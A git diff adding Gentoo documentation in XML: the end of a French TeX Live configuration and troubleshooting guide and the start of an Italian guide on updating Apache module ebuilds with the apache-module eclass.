+un détail technique).
+</p>
+
+<p>
+Les différents ebuilds <c>TeX Live</c> vont ajouter des fichiers au répertoire
+<path>/etc/texmf/updmap.d</path> lorsqu'ils vont installer les polices de
+caractères. Même si vous pouvez éditer ces fichiers pour désactiver la mise à
+jour de certains schémas de polices, il serait probablement plus avisé de
+retirer les paquets en question.
+</p>
+
+<p>
+Si un paquet tiers veut ajouter des schémas de polices, il devra installer un
+fichier dans <path>/etc/texmf/updmap.d</path> et laisser <c>texmf-update</c> le
+gérer.
+</p>
+
+<warn>
+Parfois vous pourrez voir <c>updmap-sys --enable Map=mymap.map</c> dans
+certains ebuilds ou dans certaines instructions d'installation d'un paquet de
+polices, bien que cela devrait fonctionner dans un premier temps, ces
+changements seront annulés lors de la prochaine exécution de
+<c>texmf-update</c>.
+</warn>
+
+<p>
+Un meilleur moyen de gérer ceci serait de créer un fichier installé dans
+<path>/etc/texmf/updmap.d</path> et de l'installer pour les distributions TeX
+qui supportent <c>texmf-update</c>&nbsp;:
+</p>
+
+<pre caption="Comment activer un schéma de polices">
+<keyword>inherit</keyword> <ident>latex-package</ident>
+...
+<stmt>src_install()</stmt> {
+    ...
+    <keyword>if</keyword> <stmt>latex-package_has_tetex_3</stmt>; then
+        <keyword>insinto</keyword> /etc/texmf/updmap.d
+        <keyword>doins</keyword> myfontmapconfig.cfg
+    <keyword>fi</keyword>
+    ...
+}
+...
+<stmt>pkg_postinst()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --enable Map=mymap.map
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --disable Map=mymap.map
+}
+</pre>
+
+<p>
+Les fichiers situés dans <path>/etc/texmf/updmap.d</path> doivent respecter la
+syntaxe de <c>updmap</c>, expliquée dans le fichier <path>updmap.cfg</path>.
+Il y a deux entrées possibles&nbsp;: Map et MixedMap. Toutes les deux possèdent
+un argument supplémentaire&nbsp;: le nom de fichier du fichier de schéma. Les
+lignes MixedMap («&nbsp;mixed&nbsp;» signifie que la police est disponible
+aussi bien en tant que police dessinée («&nbsp;bitmap&nbsp;») qu'en tant que
+police vectorisée («&nbsp;outline&nbsp;»)&nbsp;) ne seront pas utilisées comme
+schéma par défaut de dvips si dvipsPreferOutline est paramétré
+«&nbsp;false&nbsp;». Les fichiers de schémas inactifs seront marqués par
+«&nbsp;#! &nbsp;» (sans les guillemets), et pas seulement par un #.
+</p>
+
+</body>
+</section>
+<section>
+<title>fmtutil.cnf</title>
+<body>
+
+<p>
+Le fichier <path>fmtutil.cnf</path> contient les informations sur la façon de
+compiler et de maintenir un format de fichiers.
+</p>
+
+<p>
+Le fichier <path>fmtutil.cnf</path> est le résultat de la concaténation des
+fichiers situés dans <path>/etc/texmf/fmtutil.d</path>. Les différents ebuilds
+de <c>TeX Live</c> installent les fichiers à cet endroit. Ces fichiers sont
+fournis avec les formats dont ils ajoutent le support et les liens symboliques
+vers le moteur en question.
+</p>
+
+<p>
+Le manuel de fmtutil.cnf(5) explique que le fichier <path>fmtutil.cnf</path>
+contient les informations de configuration pour fmtutil(8). Chaque ligne
+contient le nom du format (ex&nbsp;: «&nbsp;tex&nbsp;», «&nbsp;latex&nbsp;»,
+«&nbsp;omega&nbsp;»), le nom du moteur qui est utilisé par le format (ex&nbsp;:
+«&nbsp;tex&nbsp;», «&nbsp;etex&nbsp;», «&nbsp;omega&nbsp;»), le modèle du
+fichier (ex&nbsp;: language.dat, language.def) et tous les arguments (nom d'un
+fichier .ini).
+</p>
+
+<p>
+Les champs sont séparés par un espace et il est possible de commenter des
+lignes complètes avec «&nbsp;#&nbsp;». Le champ «&nbsp;pattern file&nbsp;» ne
+peut pas être utilisé pour définir un fichier qui est utilisé lors de la
+compilation du format. Il informe <c>fmtutil</c> en lui précisant quel fichier
+la procédure de création du format lit et il a un effet sur les options
+--showhyphen et --byhyphen. Si le format n'a aucun moyen de personnaliser la
+césure, un «&nbsp;-&nbsp;» peut être utilisé pour l'indiquer.
+</p>
+
+<p>
+Les ebuilds de <c>TeX Live</c> qui installent un fichier
+dans<path>fmtutil.d</path>, installent également les formats de fichiers en
+rapport dans le répertoire <path>/var/lib/texmf/web2c</path> et créent un lien
+symbolique depuis le format vers le moteur.
+</p>
+
+<p>
+Notez que lors de l'ajout d'un fichier de support d'un langage,
+<c>texmf-update</c> prend soin de l'ajouter au fichier
+<path>language.dat</path> et regénère les formats de fichiers pour supporter le
+langage nouvellement installé.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mise à jour de votre configuration</title>
+<body>
+
+<p>
+Maintenant que vous savez comment est gérée la configuration de <c>TeX
+Live</c>, vous êtes capable de porter les changements que vous avez faits sur
+l'ancienne configuration de votre distribution TeX vers le schéma de
+configuration de <c>TeX Live</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Erreurs courantes</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Dans ce chapitre, nous allons essayer de donner un court résumé des erreurs les
+plus courantes et d'expliquer ce qui ne va pas dans chaque cas.
+</p>
+
+</body>
+</section>
+<section>
+<title>Le format a été écrit par (pdf)etex</title>
+<body>
+
+<p>
+Parfois à l'installation de certains paquets qui ont besoin de latex, vous
+aurez cette erreur&nbsp;:
+</p>
+
+<pre caption="Le format a été écrit par pdfetex">
+---! //var/lib/texmf/web2c/latex.fmt was written by pdfetex
+</pre>
+
+<p>
+Ceci est la cause de la rémanence des fichiers de configuration de votre
+ancienne installation d'une distribution <c>TeX</c> basée sur <c>etex</c>. Cela
+signifie généralement que vous n'avez pas suivi entièrement le guide, en
+particulier le <uri link="#uninstall">chapitre pour désinstaller
+proprement</uri> les installations précédentes.
+</p>
+
+<p>
+Néanmoins, il est toujours possible de corriger ce problème rapidement sans
+avoir à réinstaller quoique ce soit, exécutez simplement en tant que super
+utilisateur root&nbsp;:
+</p>
+
+<pre caption="Suppression des anciens formats">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+# <i>texmf-update</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Le répertoire des formats n'existe pas</title>
+<body>
+
+<p>
+Par exemple, lors de l'installation de <c>texlive-latex</c>, vous pourrez
+rencontrer cette erreur&nbsp;:
+</p>
+
+<pre caption="Le répertoire des formats n'existe pas">
+fmtutil: format directory
+`/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-var/web2c' does not
+exist.
+</pre>
+
+<p>
+Généralement ceci est la conséquence d'une mauvaise configuration. Essayez
+d'exécuter la commande suivante pour voir si vous obtenez les mêmes
+résultats&nbsp;:
+</p>
+
+<pre caption="Définition de TEXMFMAIN">
+$ <i>kpsewhich --var-value=TEXMFMAIN</i>
+/usr/share/texmf
+</pre>
+
+<p>
+C'est très important puisque <c>fmtutil</c> cherche <c>mktexdir</c> à cet
+emplacement&nbsp;; si vous avez un résultat différent alors <c>fmtutil</c> ne
+trouvera pas <c>mktexdir</c> et alors il n'arrivera pas à créer le répertoire
+où sont normalement stockés les formats compilés de façon temporaire.
+</p>
+
+<p>
+Il n'y a pas de commande magique pour corriger ce problème, vous devez vérifier
+que votre configuration est correcte et qu'il ne reste pas de fichiers de
+configuration dans <path>/etc/texmf/texmf.d</path>. Généralement un ancien
+fichier <path>00texmf.cnf</path> sera resté là et fournira des mauvaises
+définitions pour le fichier <path>texmf.cnf</path>. Merci de vous référez au
+<uri link="#uninstall">chapitre pour désinstaller proprement</uri> les
+installations précédentes et rappelez-vous que lorsque vous modifiez ou
+supprimez un fichier dans <path>/etc/texmf/*.d</path>, vous devrez exécuter
+<c>texmf-update</c> pour que les changements soient pris en compte.
+</p>
+
+</body>
+</section>
+<section>
+<title>Il manque des fichiers .tex</title>
+<body>
+
+<p>
+Lors de l'installation de <c>texlive-latex</c> (ou d'un quelconque autre format
+qui possède le support de la césure avec babel), vous pouvez rencontrer une
+erreur de ce type&nbsp;:
+</p>
+
+<pre caption="Il manque bghyphen.tex">
+===========================================
+Local configuration file hyphen.cfg used
+===========================================
+
+(/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-dist/tex/generic/ba
+bel/hyphen.cfg (/usr/share/texmf/tex/generic/hyphen/hyphen.tex)
+(/usr/share/texmf/tex/generic/hyphen/ushyphmax.tex)
+(/usr/share/texmf/tex/generic/hyphen/dumyhyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bahyph.tex
+(/usr/share/texmf/tex/generic/hyphen/bahyph.tex))
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bghyphen.tex
+! I can't find file `bghyphen.tex'.
+l.10   \input bghyphen.tex
+
+Please type another input file name:
+! Emergency stop.
+l.10   \input bghyphen.tex
+
+No pages of output.
+Transcript written on latex.log.
+Error: `pdftex -ini  -jobname=latex -progname=latex
+-translate-file=cp227.tcx *latex.ini' failed
+</pre>
+
+<p>
+Dans ce cas, vous devez vérifier quel <path>language.dat</path> est
+utilisé&nbsp;:
+</p>
+
+<pre caption="Trouver le fichier language.dat">
+$ <i>kpsewhich language.dat</i>
+/usr/share/texmf/tex/generic/config/language.dat
+</pre>
+
+<p>
+Ce fichier est généré automatiquement par <c>texmf-update</c> et réprésente le
+résultat de la concaténation des fichiers <path>language.*.dat</path> présents
+dans le répertoire avec <path>language.us</path> (pour TeX Live 2008, les
+fichiers <path>language.*.dat</path> sont pris dans
+<path>/etc/texmf/language.dat.d/</path>). Ce répertoire devrait être
+<path>/usr/share/texmf/tex/generic/config/</path>. Ainsi, vérifiez qu'il n'y a
+pas d'autres fichiers <path>language.*.dat</path> dans ce répertoire que ceux
+installés par les différents ebuilds <c>dev-texlive/texlive-lang*</c>.  Un
+fichier présent dans ce répertoire signifie que vous souhaitez activer le
+support de la césure pour un langage spécifique&nbsp;; si vous n'avez pas les
+les fichiers pour supporter la césure des formats utilisés, ce support
+supplémentaire de la césure mènera à l'échec de la compilation.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/apache/apache-developer.xml b/xml/htdocs/proj/it/apache/apache-developer.xml
new file mode 100644
index 00000000..09ce8d59
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/apache-developer.xml
@@ -0,0 +1,910 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/apache-developer.xml,v 1.2 2008/04/16 18:44:32 scen Exp $ -->
+
+<guide link="/proj/it/apache/apache-developer.xml" lang="it"
+disclaimer="obsolete" redirect="doc/developer.xml">
+<title>Documentazione per Sviluppatori di Apache</title>
+
+<author title="Autore">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+
+<author title="Traduzione">
+  <mail link="zanetti.massimo@gmail.com">Massimo Zanetti</mail>
+</author>
+
+<abstract>
+Questo documento fornisce dettagli sulle nuove eclass disponibili per gli
+sviluppatori di pacchetti relativi ad Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.5</version>
+<date>2008-03-02</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Questo documento mostra in maniera particolareggiata come le <uri
+link="#apache-module">nuove eclasses</uri> siano state <uri
+link="#changes">modificate</uri> rispetto al precedente stile di apache e come
+si debbano <uri link="#ebuild-update">modificare</uri> le ebuild per sfruttare
+al massimo le nuove eclass. Se si è degli utenti interessati a come eseguire
+l'aggiornamento, si consiglia di leggere il documento <uri
+link="apache-upgrading.xml">Aggiornamento di Apache</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="changes">
+<title>Che cosa è cambiato</title>
+<section>
+<title>Sguardo d'insieme</title>
+<body>
+
+<p>
+Sono state apportate molte modifiche sulla modalità d'installazione e
+funzionamento di Apache e i suoi moduli su Gentoo. Questo rende la manutenzione
+più facile e segue più da vicino il concetto di pratica upstream. Queste
+modifiche sono:
+</p>
+
+<ul>
+  <li>Corretti molti bug</li>
+  <li>Cambiati i percorsi dell'installazione e della configurazione</li>
+  <li>
+    Create le eclass <uri link="#depend-apache">depend.apache</uri> e <uri
+    link="#apache-module">apache-module</uri>
+  </li>
+  <li>
+    Riuniti apache.conf e commonapache.conf in un unico file, analogamente a
+    come vengono distribuiti da apache.org.
+  </li>
+  <li>
+    <c>apr</c> e <c>apr-utils</c> sono stai estratti da apache così che alcuni
+    pacchetti non hanno più bisogno di apache
+  </li>
+  <li>Quasi tutti i moduli sono stati aggiornati</li>
+  <li>Maggiore disponibilità di MPMs</li>
+  <li>Aggiunto supporto per lingerd</li>
+  <li>Corretto il supporto per i file di grandi dimensioni</li>
+  <li><e>Sicuramente altro...</e></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Localizzazione Percorsi Apache</title>
+<body>
+
+<p>
+Allo scopo di avvicinarsi al tipo di installazione fatto da apache.org e altre
+distribuzioni, sono stati modificati i seguenti percorsi:
+</p>
+
+</body>
+</section>
+<section>
+<title>Apache 2.x</title>
+<body>
+
+<table>
+<tr>
+  <th>Utilizzo</th>
+  <th>Vecchio Percorso</th>
+  <th>Nuovo Percorso</th>
+</tr>
+<tr>
+  <ti>Server Root</ti>
+  <ti><path>/etc/apache2/</path></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Directory della Configurazione</ti>
+  <ti><path>/etc/apache2/conf/</path></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configurazione</ti>
+  <ti><path>/etc/apache2/conf/apache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configurazione</ti>
+  <ti><path>/etc/apache2/conf/commonapache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configurazione Vhosts</ti>
+  <ti><path>/etc/apache2/conf/vhosts/</path></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Configuratione Moduli</ti>
+  <ti><path>/etc/apache2/conf/modules.d/</path></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modulo Binari</ti>
+  <ti><path>/usr/lib/apache2-extramodules/</path></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+</table>
+
+<note>
+La configurazione predefinita ora include automaticamente
+<path>modules.d/*.conf</path> e <path>vhosts.d/*.conf</path>. Tuttavia la
+direttiva contenuta in <path>httpd.conf</path> mostra i percorsi sopra indicati
+come <path>conf/modules.d/*.conf</path> e <path>conf/vhosts.d/*.conf</path>.
+Questo perchè Apache legge la configurazione usando la directory
+<path>/usr/lib/apache{|2}</path>  che contiene un link simbolico a <path>conf ->
+/etc/apache{|2}</path>.
+</note>
+
+<impo>
+Se si è uno sviluppatore e si cerca di aggiornare un'ebuild per farlo funzionare
+con le modifiche che sono state fatte, si cerchi di non inserire i percorsi
+sopra indicati nell'ebuild, controllare invece la documentazione sulla eclass
+relativa alle variabili che possono essere usate.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="ebuild-update">
+<title>Aggiornare l'Ebuild</title>
+<section>
+<body>
+
+<p>
+Con queste nuove modifiche quasi tutte le ebuild che hanno una dipendenza da
+Apache devono essere cambiate. Il gruppo di Apache si è già preso cura della
+maggioranza di questi pacchetti, essendone loro i responsabili. Ma ne rimangono
+ancora diversi che, appartenendo ad altri sviluppatori, devono essere
+aggiornati.
+</p>
+
+<p>
+Questo capitolo mostra ad uno sviluppatore l'uso della nuova eclass attraverso
+l'aggiornamento di un'ebuild. Per fare questo si prende come esempio uno dei
+pacchetti più complessi, <c>www-apache/mod_ldap_userdir</c>.
+</p>
+
+<note>
+Se il proprio pacchetto non è precisamente un modulo, ma ha solo bisogno di
+conoscere i percorsi usati da Apache, eseguire <c>inherit depend.apache</c> ed
+usare le variabili rese disponibili nella eclass. A tale proposito si guardi
+la documentazione della eclass <uri link="#depend-apache">depend.apache</uri> .
+</note>
+
+</body>
+</section>
+<section>
+<title>Sguardo d'insieme delle modifiche necessarie</title>
+<body>
+
+<ul>
+  <li>
+    Sarà necessaria una nuova revisione considerato che le precedenti, adattate
+    alla nuova eclass, non sono compatibili con le vecchie versioni di Apache.
+  </li>
+  <li>
+    Assicurarsi di impostare <c>KEYWORDS</c> a testing e, se i pacchetti di
+    Apache sono ancora hard-masked, aggiungerli in package.mask
+  </li>
+  <li>
+    Sostituire ciascun <c>DEPEND</c> di Apache con <c>need_apache1</c> (per
+    i moduli di Apache-1*), <c>need_apache2</c> (per i moduli di Apache-2*), o
+    <c>need_apache</c> (per i moduli che possono dipendere sia da Apache-1* che
+    da Apache-2* - determinati da USE-flags)
+  </li>
+  <li>
+    Rimovere qualsiasi linea di codice che modifica <c>SLOT</c> o <c>DEPEND</c>
+    con hack tipo <c>has_version</c>.
+  </li>
+  <li>
+    Controllare se l'impostazione predefinita di <c>src_compile</c> nella eclass
+    funziona. Altrimenti, impostare <c>APXS1_ARGS</c> o <c>APXS2_ARGS</c> per
+    compilare, come richiesto, gli altri file.
+  </li>
+  <li>Di norma tutte le funzioni possono essere rimosse dall'ebuild</li>
+  <li>
+    Modificare il file di configurazione del modulo affichè usi gli
+    <c>IfDefine</c> per caricare e configurare il modulo
+  </li>
+  <li>Aggiungere qualsiasi file di documentazione a <c>DOCFILES</c></li>
+  <li>
+    Specificare il file di configurazione che src_install deve installare:
+    <c>APACHE1_MOD_CONF</c>, <c>APACHE2_MOD_CONF</c>
+  </li>
+  <li>
+    Specificare la <c>IfDefine</c> che il modulo usa nel suo file di
+    configurazione così che pkg_postinst possa dare informazioni all'utente su
+    come abilitare il modulo: <c>APACHE1_MOD_DEFINE</c>,
+    <c>APACHE2_MOD_DEFINE</c>
+  </li>
+  <li>
+    Non dimenticarsi di testarlo - nel caso non sia stato fatto, seguire le
+    istruzioni di aggiornamento che si trovano in questo documento
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuild Globali</title>
+<body>
+
+<pre caption="Diff tra mod_ldap_userdir-1.4.1 e mod_ldap_userdir-1.4.1-r1
+(modificato)">
++inherit apache-module
++
+-IUSE="apache2 ssl"
++IUSE="ssl"
+
+ DESCRIPTION="Modulo Apache che abilita ~/public_html from an LDAP directory."
+ HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+-KEYWORDS="x86 ppc"
++KEYWORDS="~x86 ~ppc"
+
+ SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+
+-DEPEND="=net-www/apache-1*
+-               apache2? ( =net-www/apache-2* )
+-               ssl? ( dev-libs/openssl )
+-               net-nds/openldap"
++DEPEND="ssl? ( dev-libs/openssl )
++               net-nds/openldap"
+
+ LICENSE="GPL-1"
+ SLOT="0"
++
++DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
++APACHE1_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE2_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE1_MOD_DEFINE="LDAPuserdir"
++APACHE2_MOD_DEFINE="LDAPuserdir"
++
++need_apache
+</pre>
+
+
+<p>
+Si è partiti da <c>inherit apache-module</c> che a sua volta eredita
+<c>depend.apache</c>. <c>depend.apache</c> definisce le locazioni usate da
+Apache e, più importante, le tre <c>DEPEND</c>s: <c>APACHE1_DEPEND</c> per quei
+pacchetti che hanno bisogno di Apache-1*, <c>APACHE2_DEPEND</c> per quelli che
+hanno bisogno di Apache-2*, e <c>APACHE_DEPEND</c> per quelli che hanno bisogno
+sia di Apache-1* o di Apache-2* e lasciare ad apache2 USE-flag quale usare.
+</p>
+
+<note>
+Benchè sia possibile, l'installazione di ambedue le versioni di apache
+affiancate non è supportata; d'altra parte non è neanche supportata
+l'installazione di un modulo per ambedue le versioni di apache. I moduli
+dovrebbero usare solamente uno <c>SLOT</c> che non sia <c>0</c> se hanno
+multiple versioni di codice e ciascuna supporta una differente versione di
+Apache. (es. <path>mod_layout-3.2.1-r1</path> ha <c>SLOT="1"</c> e
+<path>mod_layout-4.0.1a-r1</path> ha <c>SLOT="2"</c>)
+</note>
+
+<p>
+L'<c>apache-module</c> fa la parte più pesante per i pacchetti del modulo
+definendo impostazioni predefinite valide per <c>pkg_setup</c>,
+<c>src_compile</c>,<c>src_install</c> e <c>pkg_postinst</c>.
+</p>
+
+<p>
+Poichè, se necessario, <c>depend.apache</c> aggiunge <c>apache2</c> a IUSE, non
+serve più definirlo esplicitamente nella IUSE dell'ebuild. Tuttavia deve essere
+lasciato definito se quella use-flag viene usata da qualche parte nell'ebuild.
+</p>
+
+<p>
+<c>depend.apache</c> lavora aggiungendo il corretto Apache DEPEND al proprio
+DEPEND (se si chiama una delle funzioni <c>need_apache{|1|2}</c>) così che si
+possa togliere la gestione del apache DEPEND dalla propria ebuild.
+</p>
+
+<p>
+<c>DOCFILES</c> è usato da <c>src_install</c> in <c>apache-modules</c> per
+installare tutta la documentazione. <c>src_install</c> trova automaticamente i
+file html e altri e usa sia <c>dodoc</c> che <c>dohtml</c> per installarli al
+posto giusto.
+</p>
+
+<p>
+<c>APACHE1_MOD_CONF</c> e <c>APACHE2_MOD_CONF</c> definiscono il file di
+configurazione da installare per il modulo. Questo è usato durante
+<c>src_install</c> così che possano essere collegati a qualsiasi cosa si sia
+impostata con <c>APXS1_S</c> o <c>APXS2_S</c> (normalmente a <c>${S}/src</c> se
+è una directory, altrimenti <c>${S}</c>).
+</p>
+
+<p>
+<c>APACHE1_MOD_DEFINE</c> e <c>APACHE2_MOD_DEFINE</c> dicono all'eclass quale
+<c>&lt;IfDefine MODULENAME&gt;</c> usa il modulo. Servono per mostrare
+all'utente le istruzioni su come abilitare il modulo.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+<c>src_compile</c> può servire se il modulo richiede speciali passi che l'eclass
+non può gestire. Questo è un caso raro. Nella maggioranza dei casi, riguardare
+il <path>Makefile</path> e aggiungere gli oggetti a <c>APXS1_ARGS</c>
+o <c>APXS2_ARGS</c> è sufficiente.
+</p>
+
+<pre caption="Diff tra mod_ldap_userdir-1.4.1 e mod_ldap_userdir-1.4.1-r1
+(modificato)">
+-src_compile() {
+-       local myconf
+-       if use apache2; then
+-               myconf="${myconf} --with-apxs2=/usr/sbin/apxs2"
+-       else
+-               myconf="${myconf} --with-apxs=/usr/sbin/apxs"
+-       fi
+-
+-       use ssl &amp;&amp; myconf="${myconf} -with-tls"
+-
+-       myconf="${myconf} --with-activate"
+-       ./configure ${myconf} || die "Configure failed"
+-       make clean
+-       make || die "Make failed"
+-}
+
++src_compile() {
++       local myargs="-lldap -llber -c ${PN}.c"
++       use ssl &amp;&amp; myargs="${myargs} -D TLS=1"
++
++       APXS2_ARGS="${myargs}"
++       APXS1_ARGS="${myargs}"
++
++       apache-module_src_compile
++
++}
+</pre>
+
+<note>
+In generale se APXS1_ARGS o APXS2_ARGS devono essere diversi, sono definiti
+nello spazio globale. <path>mod_ldap_userdir</path> a questo riguardo è
+differente perchè lo stato della flag USE di ssl influenza quelle variabili
+ed è più efficiente nell'impostare solamente quei valori in <c>src_compile</c>
+piuttosto che eseguire il controllo USE durante ogni chiamata dell'ebuild.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+Nella maggior parte dei casi, <c>src_install</c> non è necessario, eccetto
+quando ci sono altre directory che hanno bisogno di essere installate o quando
+i permessi sui file devono essere modificati.
+</p>
+
+<pre caption="Diff tra mod_ldap_userdir-1.4.1 e mod_ldap_userdir-1.4.1-r1
+(modificato)">
+-src_install() {
+-       if use apache2; then
+-               exeinto /usr/lib/apache2-extramodules
+-               doexe mod_ldap_userdir.so
+-       else
+-               exeinto /usr/lib/apache-extramodules
+-               doexe mod_ldap_userdir.so
+-       fi
+-       dodoc DIRECTIVES README user-ldif posixAccount-objectclass
+-}
++src_install() {
++       apache-module_src_install
++       if [ "${APACHE_VERSION}" == "2" ]; then
++               fperms 600 ${APACHE2_MODULES_CONFDIR}/$(basename ${APACHE2_MOD_CONF})
++       else
++               fperms 600 ${APACHE1_MODULES_CONFDIR}/$(basename ${APACHE1_MOD_CONF})
++       fi
++}
+</pre>
+
+<p>
+Come si può notare, nel <path>mod_ldap_userdir</path> sono state aggiunte alcune
+modifiche che non erano presenti nella revisione precedente - l'aggiunta di un
+file di configurazione e l'impostazione corretta dei permessi.
+<c>apache-module</c> da il meglio di sè chiamando
+<c>apache-module_src_install</c> all'interno del proprio <c>src_install</c>.
+Nella maggior parte dei casi <c>src_install</c> non è per nulla necessario.
+</p>
+
+<p>
+<c>src_install</c> gestisce correttamente e completamente l'installazione del
+modulo, dei file di configurazione e della documentazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Altre funzioni</title>
+<body>
+
+<p>
+Nella maggioranza dei casi, non ci dovrebbe essere nessun pkg_postinst o
+pkg_config, visto che l'eclass gestisce direttamente l'invio delle istruzioni
+relative all'abilitazione di un modulo e la posizione del file di configurazione
+dell'utente. Se ci fosse bisogno di istruzioni aggiuntive per la configurazione,
+allora si può aggiungere <c>pkg_postinst</c>, ma si deve ugualmente far andare
+<c>apache1_pkg_postinst</c> o <c>apache2_pkg_postinst</c> al suo interno.
+</p>
+
+<pre caption="Diff tra mod_ldap_userdir-1.4.1 e mod_ldap_userdir-1.4.1-r1
+(modificato)">
+-pkg_postinst() {
+-       if use apache2; then
+-               elog "Adjust /etc/apache2/conf/modules.d/47_mod_ldap_userdir.conf to match your setup and"
+-               elog "add '-D LDAPuserdir' to your APACHE2_OPTS in /etc/conf.d/apache2"
+-               elog "To configure the package run \"ebuild /var/db/pkg/net-www/${PF}/${PF}.ebuild config\""
+-       fi
+-}
+-
+-pkg_config() {
+-       /usr/sbin/apacheaddmod \
+-               ${ROOT}/etc/apache/conf/apache.conf \
+-               extramodules/mod_ldap_userdir.so mod_ldap_userdir.c ldap_userdir_module \
+-               define=LDAPuserdir addconf=conf/addon-modules/47_mod_ldap_userdir.conf
+-}
+</pre>
+
+<p>
+Con la nuova configurazione predefinita, gli utenti non devono più modificare
+<path>httpd.conf</path> per abilitare un modulo. Tutti i file
+<path>*.conf</path> nella directory <path>modules.d</path> sono automaticamente
+inclusi. Tutti i file dovrebbero essere inglobati in un blocco <c>&lt;IfDefine
+MODULENAME&gt;</c>, in modo che le direttive in quel file siano usate solo se
+l'utente aggiunge un <c>"-D MODULENAME"</c> al suo file
+<path>/etc/conf.d/apache{|2}</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>File di configurazione</title>
+<body>
+
+<p>
+La maggior parte dei file di configurazione non deve essere modificata. Bisogna
+fare estrema attenzione nell'usare il percorso corretto quando si carica il
+modulo:
+</p>
+
+
+<pre caption="LoadModule directive">
+<comment>(Vecchia direttiva:)</comment>
+LoadModule ldap_userdir_module  extramodules/mod_ldap_userdir.so
+
+<comment>(Nuova direttiva:)</comment>
+LoadModule ldap_userdir_module  modules/mod_ldap_userdir.so
+</pre>
+
+<p>
+Inoltre ciascun file di configurazione del modulo deve essere inglobato nel
+blocco <c>&lt;IfDefine MODULENAME&gt;</c>. Se questo non viene fatto, allora
+Apache carica il modulo predefinito, cosa che si vuole evitare. Il caricamento
+del modulo deve essere controllato dall'utente usando il file
+<path>/etc/conf.d/apache{|2}</path>.
+</p>
+
+<pre caption="Esempio .conf">
+&lt;IfDefine LDAPuserdir&gt;
+  &lt;IfModule !mod_ldap_userdir.c&gt;
+    <comment># Carica il modulo:</comment>
+    LoadModule ldap_userdir_module      modules/mod_ldap_userdir.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+
+&lt;IfModule mod_ldap_userdir.c&gt;
+<comment># Mettere una valida configurazione predefinita:</comment>
+
+    LDAPUserDir             public_html
+    LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+    LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfModule&gt;
+</pre>
+
+<note>
+Alcuni moduli potrebbero voler aggiungere estensioni che sono controllate dalla
+DirectoryIndex. Apache è stato modificato per avere una nuova direttiva di
+configurazione, AddDirectoryIndex, che fa appunto questo. Si usa come
+DirectoryIndex,funziona nello stesso modo eccetto che non sostituisce la
+DirectoryIndex, ma la aggiunge. Se, per qualche motivo, ce ne fosse bisogno c'è
+anche una RemoveDirectoryIndex.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="apache-module">
+<title>apache-module eclass</title>
+<section>
+<title>Descrizione</title>
+<body>
+
+<p>
+L'eclass <c>apache-module</c> fornisce valide funzioni predefinite per compilare
+moduli di apache. Siccome la maggioranza dei moduli sono compilati nella stessa
+maniera, è possibile avere un modulo di ebuild estremamente semplice.
+</p>
+
+</body>
+</section>
+<section>
+<title>Funzioni</title>
+<body>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>apache_cd_dir</c></ti>
+  <ti>
+    Restituisce il percorso corretto alla directory temporanea di compilazione
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache_mod_file</c></ti>
+  <ti>Restituisce il percorso al modulo compilato da installare</ti>
+</tr>
+<tr>
+  <ti><c>apache_doc_magic</c></ti>
+  <ti>
